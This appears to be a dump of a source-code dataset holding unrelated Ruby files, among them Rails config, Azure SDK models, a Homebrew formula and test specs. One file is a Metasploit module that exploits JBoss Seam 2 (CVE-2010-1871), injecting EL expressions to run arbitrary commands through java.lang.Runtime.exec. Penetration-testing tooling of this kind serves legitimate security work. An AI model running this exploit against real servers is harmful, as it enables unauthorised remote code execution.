hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
ff99688ad7faca3d59f71077b929d69ee1dbf04e | 176 | FactoryBot.define do
factory :maintenance_type do
name { 'Test Maintenance Type' }
description { 'Test Maintenance Type description' }
active { true }
end
end
| 19.555556 | 55 | 0.698864 |
08ed46aeb47a4efe340447ca0d4fdfb2f0f98c19 | 243 | Deface::Override.new(
virtual_path: 'spree/admin/shared/sub_menu/_product',
name: 'sales_schedules_admin_tab',
insert_bottom: '[data-hook="admin_product_sub_tabs"]',
text: '<%= tab(:sales_schedules, label: "sales_schedules") %>'
) | 40.5 | 65 | 0.720165 |
b921a7416bffeed5826b5e39d46a60ce8231f72f | 372 | require "spec_helper"
describe OpenXml::Pptx::Properties::FontReferenceItalic do
include PropertyTestMacros
it_should_use tag: :italic, name: "font_reference_italic"
for_attribute(:rid) do
with_value("rId256") do
it_should_assign_successfully
it_should_output "<p:italic r:id=\"rId256\"/>"
end
it_should_not_allow_invalid_value
end
end
| 21.882353 | 59 | 0.75 |
ff4a200170f1da3cb4ec23b90bd2fdfc3e2657e4 | 2,112 | describe Travis::API::V3::Services::User::Find, set_app: true, billing_spec_helper: true do
let(:user) { Travis::API::V3::Models::User.find_by_login('svenfuchs') }
let(:token) { Travis::Api::App::AccessToken.create(user: user, app_id: 1) }
let(:headers) {{ 'HTTP_AUTHORIZATION' => "token #{token}" }}
let(:billing_url) { 'http://billingfake.travis-ci.com' }
let(:billing_auth_key) { 'secret' }
before do
user.education = true
user.save!
Travis.config.host = 'travis-ci.com'
Travis.config.billing.url = billing_url
Travis.config.billing.auth_key = billing_auth_key
stub_billing_request(:get, "/usage/users/#{user.id}/allowance", auth_key: billing_auth_key, user_id: user.id)
.to_return(body: JSON.dump({ 'public_repos': true, 'private_repos': true, 'user_usage': true, 'pending_user_licenses': false, 'concurrency_limit': 666 }))
end
describe "authenticated as user with access" do
before { get("/v3/user/#{user.id}", {}, headers) }
example { expect(last_response).to be_ok }
example { expect(JSON.load(body)).to be == {
"@type" => "user",
"@href" => "/v3/user/#{user.id}",
"@representation" => "standard",
"@permissions" => {"read"=>true, "sync"=>true},
"id" => user.id,
"login" => "svenfuchs",
"name" => "Sven Fuchs",
"email" => "[email protected]",
"github_id" => user.github_id,
"vcs_id" => user.vcs_id,
"vcs_type" => user.vcs_type,
"avatar_url" => "https://0.gravatar.com/avatar/07fb84848e68b96b69022d333ca8a3e2",
"is_syncing" => user.is_syncing,
"synced_at" => user.synced_at,
"education" => true,
"allow_migration" => false,
"allowance" => {
"@type" => "allowance",
"@representation" => "minimal",
"id" => user.id
},
"recently_signed_up"=>false,
"secure_user_hash" => nil,
}}
end
end
| 42.24 | 160 | 0.553504 |
1c1347c5a570b01545b4b069bb26173ab58c5d81 | 3,010 | # frozen_string_literal: true
module Ci
class PipelinePresenter < Gitlab::View::Presenter::Delegated
include Gitlab::Utils::StrongMemoize
include ActionView::Helpers::UrlHelper
# We use a class method here instead of a constant, allowing EE to redefine
# the returned `Hash` more easily.
def self.failure_reasons
{ config_error: 'CI/CD YAML configuration error!' }
end
presents :pipeline
def failed_builds
return [] unless can?(current_user, :read_build, pipeline)
strong_memoize(:failed_builds) do
pipeline.builds.latest.failed
end
end
def failure_reason
return unless pipeline.failure_reason?
self.class.failure_reasons[pipeline.failure_reason.to_sym] ||
pipeline.failure_reason
end
def status_title
if auto_canceled?
"Pipeline is redundant and is auto-canceled by Pipeline ##{auto_canceled_by_id}"
end
end
def ref_text
if pipeline.detached_merge_request_pipeline?
_("for %{link_to_merge_request} with %{link_to_merge_request_source_branch}").html_safe % { link_to_merge_request: link_to_merge_request, link_to_merge_request_source_branch: link_to_merge_request_source_branch }
elsif pipeline.merge_request_pipeline?
_("for %{link_to_merge_request} with %{link_to_merge_request_source_branch} into %{link_to_merge_request_target_branch}").html_safe % { link_to_merge_request: link_to_merge_request, link_to_merge_request_source_branch: link_to_merge_request_source_branch, link_to_merge_request_target_branch: link_to_merge_request_target_branch }
elsif pipeline.ref
if pipeline.ref_exists?
_("for %{link_to_pipeline_ref}").html_safe % { link_to_pipeline_ref: link_to_pipeline_ref }
else
_("for %{ref}") % { ref: content_tag(:span, pipeline.ref, class: 'ref-name') }
end
end
end
def link_to_pipeline_ref
link_to(pipeline.ref,
project_commits_path(pipeline.project, pipeline.ref),
class: "ref-name")
end
def link_to_merge_request
return unless merge_request_presenter
link_to(merge_request_presenter.to_reference,
project_merge_request_path(merge_request_presenter.project, merge_request_presenter),
class: 'mr-iid')
end
def link_to_merge_request_source_branch
return unless merge_request_presenter
link_to(merge_request_presenter.source_branch,
merge_request_presenter.source_branch_commits_path,
class: 'ref-name')
end
def link_to_merge_request_target_branch
return unless merge_request_presenter
link_to(merge_request_presenter.target_branch,
merge_request_presenter.target_branch_commits_path,
class: 'ref-name')
end
private
def merge_request_presenter
return unless pipeline.triggered_by_merge_request?
@merge_request_presenter ||= pipeline.merge_request.present(current_user: current_user)
end
end
end
| 33.444444 | 338 | 0.73588 |
03e9917fc8b242d7fdfbec58aebd1e3efed25c05 | 3,315 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'JBoss Seam 2 Remote Command Execution',
'Description' => %q{
JBoss Seam 2 (jboss-seam2), as used in JBoss Enterprise Application Platform
4.3.0 for Red Hat Linux, does not properly sanitize inputs for JBoss Expression
Language (EL) expressions, which allows remote attackers to execute arbitrary code
via a crafted URL. This modules also has been tested successfully against IBM
WebSphere 6.1 running on iSeries.
NOTE: this is only a vulnerability when the Java Security Manager is not properly
configured.
},
'Author' =>
[
'guerrino di massa', # Metasploit module
'Cristiano Maruti <cmaruti[at]gmail.com>' # Support for IBM Websphere 6.1
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2010-1871' ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jul 19 2010'))
register_options(
[
Opt::RPORT(8080),
OptString.new('TARGETURI', [ true, 'Target URI', '/seam-booking/home.seam']),
OptString.new('CMD', [ true, "The command to execute."])
], self.class)
end
def run
uri = normalize_uri(target_uri.to_s)
cmd_enc = ""
cmd_enc << Rex::Text.uri_encode(datastore["CMD"])
flag_found_one = 255
flag_found_two = 255
uri_part_1 = "?actionOutcome=/pwn.xhtml?pwned%3d%23{expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_2 = "].invoke(expressions.getClass().forName('java.lang.Runtime').getDeclaredMethods()["
uri_part_3 = "].invoke(null),'"
25.times do |index|
req = uri + uri_part_1 + index.to_s + "]}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res and res.headers['Location'] =~ %r(java.lang.Runtime.exec\%28java.lang.String\%29))
flag_found_one = index
print_status("Found right index at [" + index.to_s + "] - exec")
elsif (res and res.headers['Location'] =~ %r(java.lang.Runtime\+java.lang.Runtime.getRuntime))
print_status("Found right index at [" + index.to_s + "] - getRuntime")
flag_found_two = index
else
print_status("Index [" + index.to_s + "]")
end
end
if (flag_found_one != 255 && flag_found_two != 255 )
print_status("Target appears VULNERABLE!")
print_status("Sending remote command:" + datastore["CMD"])
req = uri + uri_part_1 + flag_found_one.to_s + uri_part_2 + flag_found_two.to_s + uri_part_3 + cmd_enc + "')}"
res = send_request_cgi(
{
'uri' => req,
'method' => 'GET',
}, 20)
if (res and res.headers['Location'] =~ %r(pwned=java.lang.UNIXProcess))
print_status("Exploited successfully")
else
print_status("Exploit failed.")
end
else
print_error("Target appears not vulnerable!")
end
end
end
| 32.821782 | 130 | 0.606033 |
e9ddc6634490ec658bda9b57c47d5be206d84925 | 2,377 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# In the development environment your application's code is reloaded on
# every request. This slows down response time but is perfect for development
# since you don't have to restart the web server when you make code changes.
config.cache_classes = false
# Do not eager load code on boot.
config.eager_load = false
# Show full error reports.
config.consider_all_requests_local = true
# Enable/disable caching. By default caching is disabled.
# Run rails dev:cache to toggle caching.
if Rails.root.join('tmp', 'caching-dev.txt').exist?
config.action_controller.perform_caching = true
config.action_controller.enable_fragment_cache_logging = true
config.cache_store = :memory_store
config.public_file_server.headers = {
'Cache-Control' => "public, max-age=#{2.days.to_i}"
}
else
config.action_controller.perform_caching = false
config.cache_store = :null_store
end
# Store uploaded files on the local file system (see config/storage.yml for options).
config.active_storage.service = :local
# Don't care if the mailer can't send.
config.action_mailer.raise_delivery_errors = false
host = 'localhost:3000' # ローカル環境
config.action_mailer.default_url_options = { host: host, protocol: 'http' }
config.action_mailer.perform_caching = false
# Print deprecation notices to the Rails logger.
config.active_support.deprecation = :log
# Raise an error on page load if there are pending migrations.
config.active_record.migration_error = :page_load
# Highlight code that triggered database queries in logs.
config.active_record.verbose_query_logs = true
# Debug mode disables concatenation and preprocessing of assets.
# This option may cause significant delays in view rendering with a large
# number of complex assets.
config.assets.debug = true
# Suppress logger output for asset requests.
config.assets.quiet = true
# Raises error for missing translations.
# config.action_view.raise_on_missing_translations = true
# Use an evented file watcher to asynchronously detect changes in source code,
# routes, locales, etc. This feature depends on the listen gem.
config.file_watcher = ActiveSupport::EventedFileUpdateChecker
end
| 36.015152 | 87 | 0.754733 |
03ea5fdda6e545ae736c3dc4348933f4f0b09a2f | 3,404 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::KeyVault::V2016_10_01
module Models
#
# The deleted certificate item containing metadata about the deleted
# certificate.
#
class DeletedCertificateItem < CertificateItem
include MsRestAzure
# @return [String] The url of the recovery object, used to identify and
# recover the deleted certificate.
attr_accessor :recovery_id
# @return The time when the certificate is scheduled to be purged, in UTC
attr_accessor :scheduled_purge_date
# @return The time when the certificate was deleted, in UTC
attr_accessor :deleted_date
#
# Mapper for DeletedCertificateItem class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'DeletedCertificateItem',
type: {
name: 'Composite',
class_name: 'DeletedCertificateItem',
model_properties: {
id: {
client_side_validation: true,
required: false,
serialized_name: 'id',
type: {
name: 'String'
}
},
attributes: {
client_side_validation: true,
required: false,
serialized_name: 'attributes',
type: {
name: 'Composite',
class_name: 'CertificateAttributes'
}
},
tags: {
client_side_validation: true,
required: false,
serialized_name: 'tags',
type: {
name: 'Dictionary',
value: {
client_side_validation: true,
required: false,
serialized_name: 'StringElementType',
type: {
name: 'String'
}
}
}
},
x509thumbprint: {
client_side_validation: true,
required: false,
serialized_name: 'x5t',
type: {
name: 'Base64Url'
}
},
recovery_id: {
client_side_validation: true,
required: false,
serialized_name: 'recoveryId',
type: {
name: 'String'
}
},
scheduled_purge_date: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'scheduledPurgeDate',
type: {
name: 'UnixTime'
}
},
deleted_date: {
client_side_validation: true,
required: false,
read_only: true,
serialized_name: 'deletedDate',
type: {
name: 'UnixTime'
}
}
}
}
}
end
end
end
end
| 29.859649 | 79 | 0.46651 |
876a89679de3a72adbd07d88943ada82e0b39d28 | 1,730 | # necessary when requiring fog without rubygems while also
# maintaining ruby 1.8.7 support (can't use require_relative)
__LIB_DIR__ = File.expand_path(File.dirname(__FILE__))
$LOAD_PATH.unshift __LIB_DIR__ unless $LOAD_PATH.include?(__LIB_DIR__)
require 'fog/version'
# Use core
require 'fog/core'
# Previously treated as "core"
# data exchange specific (to be extracted and used on a per provider basis)
require 'fog/xml'
require 'fog/json'
# deprecation wrappers (XML wrapped version)
require 'fog/core/deprecated/connection'
require 'fog/core/deprecated_connection_accessors'
# any one of these can be required separately.
# they all depend on fog/core for shared functionality.
require 'fog/atmos'
require 'fog/aws'
require 'fog/bluebox'
require 'fog/brightbox'
require 'fog/cloudstack'
require 'fog/clodo'
require 'fog/digitalocean'
require 'fog/dnsimple'
require 'fog/dnsmadeeasy'
require 'fog/fogdocker'
require 'fog/dreamhost'
require 'fog/dynect'
require 'fog/ecloud'
require 'fog/glesys'
require 'fog/go_grid'
require 'fog/google'
require 'fog/ibm'
require 'fog/internet_archive'
require 'fog/joyent'
require 'fog/linode'
require 'fog/local'
require 'fog/bare_metal_cloud'
require 'fog/rackspace'
require 'fog/rage4'
require 'fog/riakcs'
require 'fog/openstack'
require 'fog/ovirt'
require 'fog/powerdns'
require 'fog/profitbricks'
require 'fog/sakuracloud'
require 'fog/serverlove'
require 'fog/softlayer'
require 'fog/storm_on_demand'
require 'fog/terremark'
require 'fog/vcloud'
require 'fog/vcloud_director'
require 'fog/vmfusion'
require 'fog/vsphere'
require 'fog/voxel'
require 'fog/xenserver'
require 'fog/zerigo'
require 'fog/cloudsigma'
require 'fog/openvz'
require 'fog/opennebula'
require 'fog/aliyun'
| 25.820896 | 75 | 0.786705 |
79084feedc6be63b0da3d5915c19fbb820df21df | 1,846 | class Chezmoi < Formula
desc "Manage your dotfiles across multiple diverse machines, securely"
homepage "https://chezmoi.io/"
url "https://github.com/twpayne/chezmoi.git",
tag: "v2.7.1",
revision: "87033e249b13c1b82c83aee248f6569f3efe26a3"
license "MIT"
head "https://github.com/twpayne/chezmoi.git", branch: "master"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "514abdbe3a506315c1fb87f299cfe29a6478f2a41d8aa1410b268d184380bcf7"
sha256 cellar: :any_skip_relocation, big_sur: "40f853e9a525b506b102d8e57ef18d0200b776e99e5234763c4a4c7ef279fc5e"
sha256 cellar: :any_skip_relocation, catalina: "f6661a18f910ba65c479ce066c66e62591d6edec7c6ad0b467393a0953ddb87e"
sha256 cellar: :any_skip_relocation, mojave: "d1e6504276c69e5d1bcde780655894ffb119f064b70a9ed5a3b36933c2f1fe0f"
sha256 cellar: :any_skip_relocation, x86_64_linux: "7f6bf18de16a56032fc0768cd30bef9c7cff1091c4ff482f072a7efed5a0ae75"
end
depends_on "go" => :build
def install
ldflags = %W[
-s -w
-X main.version=#{version}
-X main.commit=#{Utils.git_head}
-X main.date=#{time.rfc3339}
-X main.builtBy=#{tap.user}
].join(" ")
system "go", "build", *std_go_args(ldflags: ldflags)
bash_completion.install "completions/chezmoi-completion.bash"
fish_completion.install "completions/chezmoi.fish"
zsh_completion.install "completions/chezmoi.zsh" => "_chezmoi"
prefix.install_metafiles
end
test do
# test version to ensure that version number is embedded in binary
assert_match "version v#{version}", shell_output("#{bin}/chezmoi --version")
assert_match "built by #{tap.user}", shell_output("#{bin}/chezmoi --version")
system "#{bin}/chezmoi", "init"
assert_predicate testpath/".local/share/chezmoi", :exist?
end
end
| 40.130435 | 122 | 0.734561 |
2195f573008c447a208f473ccab55c19f0e2a964 | 556 | Pod::Spec.new do |s|
s.name = 'BugshotKit'
s.version = '0.1.0'
s.summary = 'In-app bug reporting for developers and testers, with annotated screenshots and the console log.'
s.homepage = 'https://github.com/marcoarment/BugshotKit'
s.license = { :type => 'MIT', :file => 'LICENSE' }
s.author = { 'Marco Arment' => '[email protected]' }
s.source = { :git => 'https://github.com/marcoarment/BugshotKit.git' }
s.source_files = 'BugshotKit/*.{h,m}'
s.resource = [ 'Resources/*' ]
s.requires_arc = true
s.ios.deployment_target = '7.0'
end
| 39.714286 | 112 | 0.652878 |
6115262ce2cf4504939157cc10ac9bd80b0ff495 | 203 | require 'rubygems'
require 'test/unit'
$LOAD_PATH.unshift(File.dirname(__FILE__))
$LOAD_PATH.unshift(File.join(File.dirname(__FILE__), '..', 'lib'))
require 'linesource'
class Test::Unit::TestCase
end
| 20.3 | 66 | 0.748768 |
392e68fa38e213fd26c146f67de1095a872608be | 2,287 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Network::Mgmt::V2018_02_01
module Models
#
# Describes the storage location for a packet capture session.
#
class PacketCaptureStorageLocation
include MsRestAzure
# @return [String] The ID of the storage account to save the packet
# capture session. Required if no local file path is provided.
attr_accessor :storage_id
# @return [String] The URI of the storage path to save the packet
# capture. Must be a well-formed URI describing the location to save the
# packet capture.
attr_accessor :storage_path
# @return [String] A valid local path on the targeting VM. Must include
# the name of the capture file (*.cap). For linux virtual machine it must
# start with /var/captures. Required if no storage ID is provided,
# otherwise optional.
attr_accessor :file_path
#
# Mapper for PacketCaptureStorageLocation class as Ruby Hash.
# This will be used for serialization/deserialization.
#
def self.mapper()
{
client_side_validation: true,
required: false,
serialized_name: 'PacketCaptureStorageLocation',
type: {
name: 'Composite',
class_name: 'PacketCaptureStorageLocation',
model_properties: {
storage_id: {
client_side_validation: true,
required: false,
serialized_name: 'storageId',
type: {
name: 'String'
}
},
storage_path: {
client_side_validation: true,
required: false,
serialized_name: 'storagePath',
type: {
name: 'String'
}
},
file_path: {
client_side_validation: true,
required: false,
serialized_name: 'filePath',
type: {
name: 'String'
}
}
}
}
}
end
end
end
end
| 30.493333 | 79 | 0.557499 |
0818d4da1b924c94f08c581e8ffe03d7df31c48f | 1,952 | require "capistrano/dsl/authorized_keys_paths"
require "capistrano/authorized_keys/helpers"
include Capistrano::AuthorizedKeys::Helpers
include Capistrano::DSL::AuthorizedKeysPaths
AUTHORIZED_KEYS_ABORT_MESSAGE = "The following hosts have an invalid authorized keys file: %s".freeze
namespace :authorized_keys do
desc "Setup remote authorized_keys file"
task :setup do
on roles(fetch(:authorized_keys_server_roles)) do
unless authorized_keys_remote_exists?
execute("touch #{authorized_keys_remote_path}")
execute("chmod 600 #{authorized_keys_remote_path}")
end
end
end
desc "Update remote authorized_keys file with local authorized_keys"
task :update do
validate_authorized_keys!
hosts_with_invalid_authorized_keys = []
on roles(fetch(:authorized_keys_server_roles)) do
begin
validate_authorized_keys_remote!
upload!(authorized_keys_io, authorized_keys_temporary_path)
if authorized_keys_remote_contains_keys?
start_line = authorized_keys_remote_header_line_numbers[0]
end_line = authorized_keys_remote_footer_line_numbers[0]
execute("sed -i '#{start_line},#{end_line}d' #{authorized_keys_remote_path}")
end
execute("cat #{authorized_keys_temporary_path} >> #{authorized_keys_remote_path}")
execute("rm #{authorized_keys_temporary_path}")
rescue Capistrano::AuthorizedKeys::InvalidAuthorizedKeysRemoteFile => ex
fatal(ex.message)
hosts_with_invalid_authorized_keys.push(host.hostname)
end
end
abort(AUTHORIZED_KEYS_ABORT_MESSAGE % hosts_with_invalid_authorized_keys.join(", ")) if hosts_with_invalid_authorized_keys.any?
end
before :update, :setup
before "deploy:updating", "authorized_keys:update"
end
namespace :load do
task :defaults do
set :authorized_keys_path, "config/authorized_keys"
set :authorized_keys_server_roles, [:all]
end
end
| 33.084746 | 131 | 0.752561 |
ed21fbfd5b9c546edabe4d9aa4656948843a805f | 313 | class FontCrushed < Formula
head "https://github.com/google/fonts/raw/main/apache/crushed/Crushed-Regular.ttf", verified: "github.com/google/fonts/"
desc "Crushed"
homepage "https://fonts.google.com/specimen/Crushed"
def install
(share/"fonts").install "Crushed-Regular.ttf"
end
test do
end
end
| 28.454545 | 122 | 0.731629 |
262682f7df5b65e5ee7e22548f61f947f8d4e352 | 1,770 | Pod::Spec.new do |s|
# 框架的名称
s.name = "MageBRPickerView"
# 框架的版本号
s.version = "2.7.5"
# 框架的简单介绍
s.summary = "A custom picker view for iOS."
# 框架的详细描述(详细介绍,要比简介长)
s.description = <<-DESC
A custom picker view for iOS, Include "日期选择器,时间选择器,地址选择器,自定义字符串选择器,支持自定义样式,适配深色模式", Support the Objective - C language.
DESC
# 框架的主页
s.homepage = "https://github.com/zinwalin/BRPickerView"
# 证书类型
s.license = { :type => "MIT", :file => "LICENSE" }
# 作者
s.author = { "Zinwa Lin" => "[email protected]" }
# 社交网址
s.social_media_url = 'https://www.google.com'
# 框架支持的平台和版本
s.platform = :ios, "8.0"
# GitHub下载地址和版本
s.source = { :git => "https://github.com/zinwalin/BRPickerView.git", :tag => s.version.to_s }
s.public_header_files = 'MageBRPickerView/BRPickerView.h'
# 本地框架源文件的位置(包含所有文件)
#s.source_files = "MageBRPickerView/**/*.{h,m}"
# 一级目录(pod库中根目录所含文件)
s.source_files = "MageBRPickerView/BRPickerView.h"
# 二级目录(根目录是s,使用s.subspec设置子目录,这里设置子目录为ss)
s.subspec 'Base' do |ss|
ss.source_files = 'MageBRPickerView/Base/*.{h,m}'
# 框架包含的资源包
ss.resources = 'MageBRPickerView/Base/BRPickerView.bundle'
end
s.subspec 'DatePickerView' do |ss|
ss.dependency 'MageBRPickerView/Base'
ss.source_files = 'MageBRPickerView/DatePickerView/*.{h,m}'
end
s.subspec 'AddressPickerView' do |ss|
ss.dependency 'MageBRPickerView/Base'
ss.source_files = 'MageBRPickerView/AddressPickerView/*.{h,m}'
end
s.subspec 'StringPickerView' do |ss|
ss.dependency 'MageBRPickerView/Base'
ss.source_files = 'MageBRPickerView/StringPickerView/*.{h,m}'
end
# 框架要求ARC环境下使用
s.requires_arc = true
end
| 28.095238 | 139 | 0.641808 |
f754cdc231b8b404cef8abf780aaa553a53ea1df | 5,173 | require 'spec_helper'
require 'timecop'
require './app/controllers/monitoring/status_controller'
describe Monitoring::HealthController, type: :controller do
routes { monitoring::Engine.routes }
let(:time) { Time.local(1990) }
before do
Timecop.freeze(time)
end
after do
Timecop.return
end
describe 'basic authentication' do
let(:username) { 'username' }
let(:password) { 'password' }
before do
Monitoring.configure do |config|
config.basic_auth_credentials = { username: username, password: password }
config.environment_variables = nil
end
end
context 'valid credentials provided' do
before do
request.env['HTTP_AUTHORIZATION'] =
ActionController::HttpAuthentication::Basic.encode_credentials(username, password)
end
it 'succesfully checks' do
expect {
get :check, format: :json
}.not_to raise_error
expect(response).to be_ok
expect(JSON.parse(response.body)).to eq(
'results' => [
{
'name' => 'Database',
'message' => '',
'status' => 'OK'
}
],
'status' => 'ok',
'timestamp' => time.to_s(:rfc2822)
)
end
end
context 'invalid credentials provided' do
before do
request.env['HTTP_AUTHORIZATION'] =
ActionController::HttpAuthentication::Basic.encode_credentials('', '')
end
it 'fails' do
expect {
get :check, format: :json
}.not_to raise_error
expect(response).not_to be_ok
expect(response.status).to eq(401)
end
end
end
describe 'environment variables' do
let(:environment_variables) { { build_number: '12', git_sha: 'example_sha' } }
before do
Monitoring.configure do |config|
config.basic_auth_credentials = nil
config.environment_variables = environment_variables
end
end
context 'valid environment variables synatx provided' do
it 'succesfully checks' do
expect {
get :check, format: :json
}.not_to raise_error
expect(response).to be_ok
expect(JSON.parse(response.body)).to eq(
'results' => [
{
'name' => 'Database',
'message' => '',
'status' => 'OK'
}
],
'status' => 'ok',
'timestamp' => time.to_s(:rfc2822),
'environment_variables' => {
'build_number' => '12',
'git_sha' => 'example_sha'
}
)
end
end
end
describe '#check' do
before do
Monitoring.configure do |config|
config.basic_auth_credentials = nil
config.environment_variables = nil
end
end
context 'json rendering' do
it 'succesfully checks' do
expect {
get :check, format: :json
}.not_to raise_error
expect(response).to be_ok
expect(JSON.parse(response.body)).to eq(
'results' => [
{
'name' => 'Database',
'message' => '',
'status' => 'OK'
}
],
'status' => 'ok',
'timestamp' => time.to_s(:rfc2822)
)
end
context 'failing' do
before do
Providers.stub_database_failure
end
it 'should fail' do
expect {
get :check, format: :json
}.not_to raise_error
expect(response).not_to be_ok
expect(response.status).to eq(503)
expect(JSON.parse(response.body)).to eq(
'results' => [
{
'name' => 'Database',
'message' => 'Exception',
'status' => 'ERROR'
}
],
'status' => 'service_unavailable',
'timestamp' => time.to_s(:rfc2822)
)
end
end
end
context 'xml rendering' do
it 'succesfully checks' do
expect {
get :check, format: :xml
}.not_to raise_error
expect(response).to be_ok
expect(parse_xml(response)).to eq(
'results' => [
{
'name' => 'Database',
'message' => nil,
'status' => 'OK'
}
],
'status' => 'ok',
'timestamp' => time.to_s(:rfc2822)
)
end
context 'failing' do
before do
Providers.stub_database_failure
end
it 'should fail' do
expect {
get :check, format: :xml
}.not_to raise_error
expect(response).not_to be_ok
expect(response.status).to eq(503)
expect(parse_xml(response)).to eq(
'results' => [
{
'name' => 'Database',
'message' => 'Exception',
'status' => 'ERROR'
}
],
'status' => 'service_unavailable',
'timestamp' => time.to_s(:rfc2822)
)
end
end
end
end
end
| 24.286385 | 92 | 0.506283 |
187fc0615d8ee72f8d837a898a73eaa6427221b5 | 469 | require 'notaru/includes'
module Notaru
class Notaru
def initialize
@bot = Configuration.parse
if @bot.config.logging
logfile = storage(File.join('logs', 'irc.log'))
@bot.loggers << Cinch::Logger::FormattedLogger.new(File.open(logfile, 'w+'))
end
end
def start
@bot.start
end
def storage(path = nil)
return File.join(@bot.config.storage, path) if path
@bot.config.storage
end
end
end
| 18.76 | 84 | 0.618337 |
ff3ca9df50213046facff7b6bc80c363b3a3dafe | 719 | #!/usr/bin/env ruby -w
require 'rmagick'
# Demonstrate the Image#enhance method
img = Magick::Image.read('images/Flower_Hat.jpg').first
img = img.add_noise(Magick::UniformNoise)
eimg = img.enhance
# Zoom in so we can see the change
img.resize!(3)
eimg.resize!(3)
# Make a before-and-after composite
eimg.crop!(Magick::EastGravity, eimg.columns/2, eimg.rows)
img = img.composite(eimg, Magick::EastGravity, Magick::OverCompositeOp)
# Draw a black line between the before and after parts.
line = Magick::Draw.new
line.line(img.columns/2, 0, img.columns/2, img.rows)
line.draw(img)
# Crop everything but the face.
img.crop!(Magick::CenterGravity, 250, 200)
img.write('enhance.jpg')
exit
| 24.793103 | 72 | 0.7121 |
03989eb667847af7916d94bcad31786353a039f2 | 247 | require 'rails_helper'
RSpec.describe Admin::ArticlesController, type: :controller do
# describe "GET #show" do
# it "returns http success" do
# get :show
# expect(response).to have_http_status(:success)
# end
# end
end
| 19 | 62 | 0.668016 |
4a63a88e54f753803f2dfdb7dfd0597d190a9858 | 2,950 | module CartoDB
class UserOrganization
def initialize(org_id, owner_id)
@owner = User.where(:id => owner_id).first
raise "The organization needs a owner" if @owner.nil?
if [email protected]_id.nil? && @owner.organization_id != org_id
raise "The user already has a organization and it's not #{org_id}"
end
@organization = Organization.where(:id => org_id).first
raise "The user needs a organization" if @organization.nil?
if [email protected]_id.nil? && @organization.owner_id != owner_id
raise "The organization already has a owner and it's not #{owner_id}"
end
@users = User.where(:organization_id => org_id)
@active = false
if [email protected]_id.nil?
@active = true
end
end
def promote_user_to_admin
raise "Organization is already active. You can't assign an admin" if @active
@owner.create_schema(@owner.username, @owner.database_username)
@owner.grant_all_on_user_schema_queries
move_user_tables_to_schema(@owner.id)
@owner.organization_id = @organization.id
@owner.database_schema = @owner.username
@organization.owner_id = @owner.id
@organization.save
@owner.create_public_db_user
@owner.set_database_search_path
@owner.load_cartodb_functions
@owner.set_user_privileges
@owner.rebuild_quota_trigger
@owner.save
@owner.monitor_user_notification
@active = true
end
def owner
@owner
end
def organization
@organization
end
def users
@users
end
def self.from_org_id(organization_id)
organization = Organization.where(:id => organization_id).first
raise "Organization with id #{org_id} does not exist" if organization.nil?
return CartoDB::UserOrganization.new(organization.id, organization.owner_id)
end
def self.is_a_user?(name)
return User.where(:username => name).count > 0 ? true : false
end
def self.is_a_organization?(name)
return Organization.where(:username => name).count > 0 ? true : false
end
def self.user_belongs_to_organization?(name)
if CartoDB::UserOrganization.is_a_user?(name)
begin
organization_id = User.select(:organization_id).where(:username => name).first[:organization_id]
return Organization.select(:name).where(:id => organization_id).first[:name]
rescue
return nil
end
else
return nil
end
end
private
def move_user_tables_to_schema(user_id)
user = User.where(:id => user_id).first
raise "User doesn't exist" if user.nil?
user.real_tables.each do |t|
puts "TABLE: #{t}"
user.in_database(as: :superuser) do |database|
database.run(%Q{ ALTER TABLE public.#{t[:relname]} SET SCHEMA "#{user.username}" })
end
end
end
end
end
| 31.382979 | 106 | 0.655593 |
08bb341c40f1845793657198a8ead1ca199d95be | 2,792 | # frozen_string_literal: true
# Copyright 2016-2019 New Context, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require "kitchen"
require "kitchen/terraform/version"
require "rubygems"
::RSpec.describe ::Kitchen::Terraform::Version do
subject do
described_class
end
let :version do
::Gem::Version.new "5.5.0"
end
describe ".assign_plugin_version" do
let :configurable_class do
::Class.new do
class << self
def read_plugin_version
@plugin_version
end
end
include ::Kitchen::Configurable
end
end
specify "should assign the version to the plugin" do
expect do
subject.assign_plugin_version configurable_class: configurable_class
end.to change(configurable_class, :read_plugin_version).to version.to_s
end
end
describe ".assign_specification_version" do
let :specification do
::Gem::Specification.new
end
specify "should assign the version to the specification" do
expect do
subject.assign_specification_version specification: specification
end.to change(specification, :version).from(nil).to version
end
end
describe ".if_satisfies" do
context "when the requirement is satisfied by the version" do
specify do
expect do |block|
subject.if_satisfies requirement: ::Gem::Requirement.new(">= 0"), &block
end.to yield_control
end
end
context "when the requirement is not satisfied by the version" do
specify do
expect do |block|
subject.if_satisfies requirement: "~> 0.0.1", &block
end.not_to yield_control
end
end
end
describe ".temporarily_override" do
specify "should override the current version with the provided version before control is yielded" do
expect do |block|
subject.temporarily_override version: "0.0.0" do
subject.if_satisfies requirement: "< 1.0.0", &block
end
end.to yield_control
end
specify "should reset the version after control is returned" do
expect do |block|
subject.temporarily_override version: "0.0.0" do
end
subject.if_satisfies requirement: version, &block
